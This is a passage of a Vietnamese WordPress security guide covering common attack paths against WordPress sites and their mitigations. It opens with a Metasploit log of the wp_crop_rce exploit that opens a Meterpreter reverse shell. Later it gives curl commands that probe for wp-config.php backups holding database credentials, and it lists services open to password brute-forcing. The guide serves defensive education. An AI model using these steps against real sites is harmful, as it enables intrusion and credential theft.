msf5 exploit(unix/webapp/wp_crop_rce) > set username author
username => author
msf5 exploit(unix/webapp/wp_crop_rce) > set password author
password => author
msf5 exploit(unix/webapp/wp_crop_rce) > run

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Authenticating with WordPress using author:author...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Checking crop library
[*] Uploading payload
[+] Image uploaded
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux

Tiêm nội dung chưa xác thực trong WordPress 4.7.0 và 4.7.1

Trong lỗ hổng bảo mật từ năm 2017 này, kẻ tấn công có thể chèn nội dung vào bài đăng bằng wp-jsonAPI.

WordPress 4.7/4.7.1 - Chèn nội dung không xác thực từ xa

3.7. Đánh hơi và thu thập thông tin đăng nhập không an toàn

Nếu không có các biện pháp bảo mật bổ sung ( TLS/SSL), việc truy cập /wp-admin/bảng điều khiển sẽ thông qua kết nối không được mã hóa. Điều này có nghĩa là nếu bạn đăng nhập vào trang web WordPress của mình trên một mạng không an toàn, chẳng hạn như mạng không dây tại quán cà phê hoặc sân bay địa phương, thông tin đăng nhập và mật khẩu để quản lý trang web của bạn có thể bị kẻ tấn công theo dõi phiên làm việc của bạn đánh cắp.

Trong ví dụ này về Wireshark capture, chúng ta thấy rõ tên người dùng và mật khẩu được capture trong yêu cầu POST tới wp-login.php.


3.8. Phần mềm máy chủ dễ bị tấn công

Việc kiểm tra ứng dụng WordPress chỉ là một phần trong việc đảm bảo trang web của bạn an toàn. Máy chủ lưu trữ trang web cũng phải được bảo mật.

Tất nhiên, các lỗ hổng bảo mật có thể khai thác có thể tồn tại trong phần mềm máy chủ hoặc hệ điều hành. Ví dụ có thể được tìm thấy trên bất kỳ danh sách gửi thư nào về lỗ hổng bảo mật. Gần đây, một lỗ hổng thực thi mã từ xa đã được phát hiện trong Exim. Exim là một trong những máy chủ gửi thư phổ biến nhất trên Internet. PHPMyAdmin là một ứng dụng dễ bị tấn công do tính phổ biến và danh sách dài các lỗ hổng bảo mật.

Cấu hình phần mềm máy chủ không đúng

Ngay cả khi không có lỗ hổng nào có thể khai thác, một cấu hình sai đơn giản cũng có thể khiến dịch vụ dễ bị tấn công. Thông thường, lỗ hổng bảo mật được tạo ra chỉ đơn giản thông qua việc cấu hình sai của quản trị viên hệ thống quá tải.

3.9. Công cụ quản trị hệ thống thỏa hiệp

Một cuộc tấn công đoán mật khẩu thành công vào tài khoản quản lý máy chủ sẽ giúp kẻ tấn công có toàn quyền truy cập vào máy chủ và ứng dụng WordPress.

Các dịch vụ có thể bị tấn công bằng phương pháp đoán mật khẩu bằng vũ lực bao gồm:

    Dịch vụ SSH
    Dịch vụ cơ sở dữ liệu MySQL
    Quản lý máy chủ Webmin
    Bảng điều khiển lưu trữ web CPanel hoặc WHCMS
    Ứng dụng quản lý cơ sở dữ liệu phpMyAdmin

Giảm nguy cơ xâm phạm tài khoản quản lý:

    Sử dụng mật khẩu mạnh ở mọi nơi, không sử dụng lại chúng!
    Di chuyển SSH sang một cổng khác
    Sử dụng TLS/SSL cho các dịch vụ quản lý dựa trên web để ngăn chặn việc đánh hơi và xâm phạm thông tin đăng nhập
    Danh sách trắng các địa chỉ IP có thể kết nối với các dịch vụ Internet

3.10. Khám phá nội dung

Khám phá Nội dung là quá trình tìm kiếm các mục quan tâm trong một đường dẫn web. Nó áp dụng cho bất kỳ ứng dụng web nào, nhưng vì chúng ta đang tấn công WordPress, hãy nhắm mục tiêu vào các tệp và đường dẫn quan tâm điển hình trong cài đặt WordPress.

Ví dụ:

Mã nguồn [Chọn]
curl https://testwordsite.com/wp-config.php.bak
curl https://testwordpressite.com/.wp-config.php.swp

Hai ví dụ này sử dụng curl để tìm một tệp sao lưu khả thi của tệp wp-config.php mà chúng ta đã thảo luận trước đó. Tệp này chứa thông tin nhạy cảm, bao gồm thông tin đăng nhập cơ sở dữ liệu. Lần thử thứ hai cố gắng tải xuống tệp sao lưu vimđược tạo tự động khi chỉnh sửa tệp. Đây là một lý do chính đáng để không chỉnh sửa tệp trực tiếp trên trang web sản xuất của bạn!

Việc curlthực hiện tác vụ tìm kiếm này cho hàng trăm, thậm chí hàng nghìn tệp phổ biến có thể được thực hiện chỉ với một chút mã lệnh. Mặt khác, các công cụ phù hợp hơn như Burp Suite hoặc gobuster, một công cụ rất nhanh nhờ khả năng xử lý song song, sẽ hoạt động tốt hơn nhiều.

Có nhiều lý do khiến các trang web WordPress bị tấn công. Với việc bảo trì tiêu chuẩn, bạn có thể giảm đáng kể nguy cơ bị tấn công thành công. Đừng trở thành "trái chín" dễ hái. Hãy luôn cập nhật mọi thứ, sao lưu thường xuyên, thực hiện các biện pháp bảo mật cơ bản và kiểm tra bảo mật thường xuyên.